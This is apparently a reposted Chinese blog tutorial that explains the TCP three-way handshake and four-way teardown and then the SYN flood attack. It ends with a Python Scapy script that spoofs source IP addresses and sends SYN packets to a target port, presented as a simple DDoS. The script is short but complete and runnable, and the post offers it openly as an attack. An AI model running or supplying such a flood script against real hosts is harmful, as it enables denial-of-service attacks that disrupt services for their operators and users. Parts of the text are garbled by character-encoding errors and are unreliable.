深入理解三次握手四次挥手以及使用scapy实现ddos雏形
前言
確認(rèn)位ACK 只有當(dāng)ACK=1時(shí)確認(rèn)號(hào)字段才有效。當(dāng)ACK=0時(shí),確認(rèn)號(hào)無效
TCP規(guī)定,在連接建立后所有傳送的報(bào)文段都必須把ACK置1
同步位SYN 同步SYN=1表示這是一個(gè)連接請(qǐng)求或者連接接收?qǐng)?bào)文
當(dāng)SYN=1,ACK=0時(shí),表明這是一個(gè)連接請(qǐng)求報(bào)文,對(duì)方若同意建立連接,則在響應(yīng)報(bào)文中使用SYN=1,ACK=1.即,SYN=1就表示這是一個(gè)連接請(qǐng)求或連接接收?qǐng)?bào)文
終止位 FIN 用來釋放一個(gè)連接。FIN=1表面此報(bào)文段的發(fā)送方的數(shù)據(jù)已發(fā)送完畢,并要求釋放傳輸連接。
三次握手
第一步:客戶機(jī)的TCP首先向服務(wù)器的TCP發(fā)送一個(gè)連接請(qǐng)求報(bào)文段。這個(gè)特殊的報(bào)文段中不含應(yīng)用層數(shù)據(jù),其首部中的SYN標(biāo)志位被置為1.另外,客戶機(jī)會(huì)隨機(jī)選擇一個(gè)啟始序號(hào)seq=x(連接請(qǐng)求報(bào)文不攜帶數(shù)據(jù),但要消耗掉一個(gè)序號(hào))
第二步:服務(wù)器的TCP收到連接請(qǐng)求報(bào)文段后,如同意建立連接,就向客戶機(jī)發(fā)回確認(rèn),并為該TCP連接分配TCP緩存和變量。在確認(rèn)報(bào)文段中,SYN和ACK位都被置為1,確認(rèn)號(hào)字段的值為x+1,并且服務(wù)器隨機(jī)產(chǎn)生起始序列號(hào)seq=y(確認(rèn)報(bào)文不攜帶數(shù)據(jù),但也要消耗掉一個(gè)序號(hào))。確認(rèn)報(bào)文段同樣不包含應(yīng)用層數(shù)據(jù)
第三步:當(dāng)客戶機(jī)收到確認(rèn)報(bào)文段后,還要向服務(wù)器給出確認(rèn),并且也要給該連接分配緩存和變量。這個(gè)報(bào)文段的ACK標(biāo)志位被置1,序號(hào)字段為x+1,確認(rèn)號(hào)字段ack=y+1.該報(bào)文段可以攜帶數(shù)據(jù),如果不攜帶數(shù)據(jù)則不消耗序號(hào)
接下來就可以接收數(shù)據(jù)了,由于TCP是全雙工通信,因此通信兩方的應(yīng)用進(jìn)程在任何時(shí)候都能發(fā)送數(shù)據(jù)
另外, 服務(wù)器端的資源是在完成第二次握手時(shí)分配的,而客戶端的資源是在完成第三次握手時(shí)分配的。這就使得服務(wù)器易于受到SYN泛洪攻擊
四次揮手
第一步:客戶機(jī)打算關(guān)閉連接,就向其TCP發(fā)送一個(gè)連接釋放報(bào)文段,并停止再發(fā)送數(shù)據(jù),主動(dòng)關(guān)閉TCP連接,該報(bào)文段的FIN標(biāo)志位被置1,seq=u,它等于前面已傳送過的數(shù)據(jù)的最后一個(gè)字節(jié)的序號(hào)加1(FIN報(bào)文段即使不攜帶數(shù)據(jù),也要消耗掉一個(gè)序號(hào))。TCP是全雙工的,即可以想象成是一條TCP連接上有兩條數(shù)據(jù)通路,當(dāng)發(fā)送FIN報(bào)文時(shí),發(fā)送FIN的一端就不能再發(fā)送數(shù)據(jù),也就是關(guān)閉了其中一條數(shù)據(jù)通路,但對(duì)方還可以發(fā)送數(shù)據(jù)
第二步:服務(wù)器收到連接釋放報(bào)文段后即發(fā)出確認(rèn),確認(rèn)后是ack=u+1,而這個(gè)報(bào)文段自己的序號(hào)為v,等于它前面已傳送過的數(shù)據(jù)的最后一個(gè)字節(jié)的序號(hào)加1.此時(shí),從客戶機(jī)到服務(wù)器這個(gè)方向的連接就釋放了,TCP連接處于半關(guān)閉狀態(tài)。但服務(wù)器若發(fā)送數(shù)據(jù),客戶機(jī)仍要接收,即從服務(wù)器到客戶機(jī)這個(gè)方向的連接并未關(guān)閉
第三步:若服務(wù)器已經(jīng)沒有要向客戶機(jī)發(fā)送的數(shù)據(jù),就通知TCP釋放連接,此時(shí)其發(fā)出FIN=1的連接釋放報(bào)文段
第四步:客戶機(jī)收到連接釋放報(bào)文段后,必須發(fā)出確認(rèn)。在確認(rèn)報(bào)文段中,ACK字段被置為1,確認(rèn)后為ack=w+1,序號(hào)為seq=u+1.此時(shí)TCP連接還沒有釋放掉,必須經(jīng)過時(shí)間等待計(jì)時(shí)器設(shè)置的時(shí)間2MSL后,客戶機(jī)才進(jìn)入到連接關(guān)閉狀態(tài)。
總結(jié)
- 連接建立
- SYN=1, seq=x
- SYN=1, ACK=1, seq=y, ack=x+1
- ACK=1, seq=x+1, ack=y+1
- 釋放連接
- FIN=1, seq=u
- ACK=1, seq=v, ack=u+1
- FIN=1, ACK=1, seq=w, ack=u+1
- ACK=1, seq=u+1, ack=w+1
SYN泛洪攻擊
SYN攻擊利用的是TCP的三次握手機(jī)制,攻擊端利用偽造的IP地址向被攻擊端發(fā)出請(qǐng)求,而被攻擊端發(fā)出的響應(yīng)報(bào)文將永遠(yuǎn)發(fā)送不到目的地,那么被攻擊端在等待關(guān)閉這個(gè)連接的過程中消耗了資源,如果有成千上萬的這種連接,主機(jī)資源將被耗盡,從而達(dá)到攻擊的目的。
Scapy實(shí)現(xiàn)ddos簡(jiǎn)單攻擊
使用Scapy構(gòu)造一個(gè)簡(jiǎn)單的數(shù)據(jù)包看一下:
pkt = IP(dst = "192.168.0.10")
接下來我們就構(gòu)造一個(gè)SYN包:
pkt = IP(src="202.121.0.12",dst="192.168.0.100")/TCP(dport=80,flags="S")
(我們構(gòu)造了一個(gè)IP包和TCP包并將它們組合到一塊,這樣就有了一個(gè)完整的TCP數(shù)據(jù)包,否則是無法發(fā)送出去的,IP包中我)們指定了源IP地址src和目的IP地址dst,其中src是我們偽造的地址,flags的值設(shè)定為S說明要發(fā)送的是SYN數(shù)據(jù)包)
代碼實(shí)現(xiàn)
import random from scapy.all import *def synFlood(tgt,dPort):srclist = ['33.56.32.1','128.33.69.52','211.2.32.23','221.43.39.137']for sPort in range(1,65535):index = random.randint(0,3)ipLayer = IP(src = srclist[index],dst = tgt)tcoLayer = TCP(sport = sPort, dport = dPort, flags = 'S')packet1 = ipLayer/tcoLayerprint(packet1)send(packet1)synFlood('127.0.0.1',80)轉(zhuǎn)載于:https://www.cnblogs.com/alex3174/p/11379346.html
總結(jié)
以上是生活随笔為你收集整理的深入理解三次握手四次挥手以及使用scapy实现ddos雏形的全部?jī)?nèi)容,希望文章能夠幫你解決所遇到的問題。
- 上一篇: ntellijIDEA用鼠标滚轮调整代码
- 下一篇: python爬虫实例--爬取拉勾网